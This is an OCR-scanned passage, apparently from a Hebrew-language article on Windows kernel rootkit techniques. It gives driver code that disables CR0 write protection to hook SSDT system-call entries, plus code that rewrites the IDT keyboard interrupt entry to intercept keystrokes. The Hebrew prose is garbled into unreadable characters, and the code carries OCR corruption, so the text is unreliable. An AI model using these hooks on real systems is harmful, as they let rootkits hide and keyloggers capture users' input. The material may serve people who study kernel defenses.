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#include "ntddk.h" //02' 772 win'w? N11TAn 2'ON
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{

DbgPrint (" OnUnload called.");

}

NTSTATUS DriverEntry( IN PDRIVER OBJECT pDriverObject, IN
PUNICODE STRING theRegistryPath )

{

// Allow the driver to be unloaded
pDriverObject->DriverUnload = OnUnload;
return STATUS SUCCESS;

}
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Code 2IM27 2212 |27 .JN2'Ta T 7227 2IN27 7011 - INIX N2D1 DX L|27 ,N7V9NN Nd>WNA Read-Only-
N7W NI 7Y INMTRY 2¥nn DX 'TNY- SSDT N OITRY 2MdD', 0N DX NIAT NAY'Y |U? Snippet

*TMY2 NI'YYa 1IX)

#pragma pack (1)

typedef struct ServiceDescriptorEntry

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry t, *PServiceDescriptorTableEntry t;
#pragma pack ()

__declspec(dllimport) ServiceDescriptorTableEntry t
KeServiceDescriptorTable;

NTSTATUS HookSSDTEntry (WORD INDEX, DWORD Handler, DWORD* Original)
{

asm

{
cli
push eax
mov eax, CRO
and eax, OFFFEFFFFh
mov CRO, eax
pop eax

}

*Original =
InterlockedExchange ( (PLONG) & (KeServiceDescriptorTable.ServiceTableBase |
INDEX]), (LONG)Handler);

asm

{
push eax
mov eax, CRO
or eax, NOT OFFFEFFFFh
mov CR0O, eax
pop eax
sti
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System Service Descriptor -n 10T x1n SSDT-7 y'an? n7'AfN TN D 2INIK ' Tan7 0DMY X
NTANI KI2" 0 INR 0N T 7Y Ryimy SSDT-n 9w ServiceDescriptorEntry xinw table

.07 1"y Mt KeServiceDescriptorTable ynon
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D'NaN 2 :0'na 6-n a0 m IDTR-n .nixan namda (IDT-7 h0ais 7onw) IDTR-n 1k pIin
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IDT -n 9x (v 32) n''o nand o D2'vn 0'Nan 4 .(o'na 8 x'n Entry 75w n'wTi'wd Entries

.Base Address

struct idtr

{

unsigned short limit;
unsigned short LoBase;
unsigned short HiBase;

} __attribute ((packed));

:Interrupt Descriptor Entries-n nian nNx 117 W' ,q0n2

struct idt entry

{

unsigned short base lo;

unsigned short sel; //Kernel Segment Selector
unsigned char always0; // reserved

QYnna Yaorunsigned char flags; //

unsigned short base hi;

}  attribute ((packed));

NN 0'0'2N NON NX AX'N Flags-n nTY

76 54 0

P [DPL  |Always 01110 (14)

I - Segment 15 present? (1 = Yes)
LPL - Which Eing (0 to 3

[N ;73 ("IN NI'097) ring3 Ik ring0 ,xn7 715 Interrupt-n N2 nyavn nx ax'n DPL-w>
;XA NI¥a N7 IDT Hook wnn?
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#define KEYBOARD ENTRY 1

struct idtr IDTR;
struct idt entry KeyboardEntry;
struct idt entry *IDT;

unsigned int HookKeyboard(unsigned int Handler)

{

__asm sidt IDTR; //Load IDTR with the idtr

IDT = (idt entry *) ((IDTR.HiBase << 16) | IDTR.LoBase);

unsigned int Original = ((IDT[KEYBOARD ENTRY].base hi << 16) |
IDT[2] .base 1loh); //store original entry.

KeyboardEntry = & (IDT[KEYBOARD ENTRY]) ;

__asm cli; //disable interrupts so we won't crash.

* (short *) (KeyboardEntry) = (short)Handler;

* (short *) (KeyboardEntry+6) = (short)Handler >> 16;

__asm sti; //re-enable interrupts

return Original;
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